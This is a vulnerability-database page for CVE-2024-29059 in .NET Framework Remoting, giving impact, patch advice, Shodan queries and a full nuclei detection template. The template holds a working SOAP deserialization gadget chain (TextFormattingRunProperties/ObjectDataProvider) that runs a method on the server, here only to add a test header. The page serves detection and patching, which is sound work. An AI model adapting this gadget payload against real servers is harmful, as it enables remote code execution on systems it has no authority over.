HexBrain

Browse / CVEs / CVE-2024-29059

CVE-2024-29059· microsoft / .net framework· CWE-209

.NET Framework - Leaking ObjRefs via HTTP .NET Remoting

Exploited in the wild. Listed by CISA on 2025-02-04; known to be used by ransomware.

highseverity
7.5CVSS score
98.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

.NET Framework Information Disclosure Vulnerability

Impact

Attackers can exploit leaked ObjRefs to access remote objects via .NET Remoting, potentially gaining unauthorized access to application data.

Fix

Apply security patches for .NET Framework addressing CVE-2024-29059.

How to confirm it

Send: GET /RemoteApplicationMetadata.rem?wsdl ; POST {{objref}}
Positive when: contains(body_1,'ObjRef') and contains(x_vuln_test,'{{randstr}}')

Run it with nuclei: nuclei -id CVE-2024-29059 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-29059

info:
  name: .NET Framework - Leaking ObjRefs via HTTP .NET Remoting
  author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch
  severity: high
  description: .NET Framework Information Disclosure Vulnerability
  impact: |
    Attackers can exploit leaked ObjRefs to access remote objects via .NET Remoting, potentially gaining unauthorized access to application data.
  remediation: |
    Apply security patches for .NET Framework addressing CVE-2024-29059.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29059
    - https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/
    - https://github.com/codewhitesec/HttpRemotingObjRefLeak
    - https://github.com/NaInSec/CVE-LIST
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29059
    cwe-id: CWE-209
    epss-score: 0.98624
    epss-percentile: 0.99923
    cpe: cpe:2.3:a:microsoft:.net_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: microsoft
    product: .net_framework
    shodan-query:
      - 'Server: MS .NET Remoting'
      - "server: ms .net remoting"
  tags: cve,cve2024,dotnet,microsoft,remoting,deserialization,kev,vkev,vuln

http:
  - raw:
      - |
        GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
        Host: {{Hostname}}
        __RequestVerb: POST
        Content-Type: text/xml

      - |
        POST {{objref}} HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml

        <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
        <ForegroundBrush id="ref-3">&#60;ObjectDataProvider MethodName=&#34;AddHeader&#34;
          xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
          xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
          xmlns:System=&#34;clr-namespace:System;assembly=mscorlib&#34;
          xmlns:System.Web=&#34;clr-namespace:System.Web;assembly=System.Web&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;&#60;ObjectDataProvider MethodName=&#34;get_Response&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider ObjectType=&#34;{x:Type System.Web:HttpContext}&#34; MethodName=&#34;get_Current&#34; /&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;/ObjectDataProvider&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider.MethodParameters&#62;
          &#60;System:String&#62;X-Vuln-Test&#60;/System:String&#62;
          &#60;System:String&#62;{{randstr}}&#60;/System:String&#62;
          &#60;/ObjectDataProvider.MethodParameters&#62;
        &#60;/ObjectDataProvider&#62;</ForegroundBrush>
        </a1:TextFormattingRunProperties>
        </SOAP-ENV:Envelope>

    extractors:
      - type: regex
        name: objref
        part: body_1
        group: 1
        regex:
          - "(/[0-9a-f_]+/[0-9A-Za-z_+]+_[0-9]+\\.rem)"
        internal: true

      - type: dsl
        dsl:
          - x_vuln_test

    matchers:
      - type: dsl
        dsl:
          - "contains(body_1,'ObjRef')"
          - "contains(x_vuln_test,'{{randstr}}')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from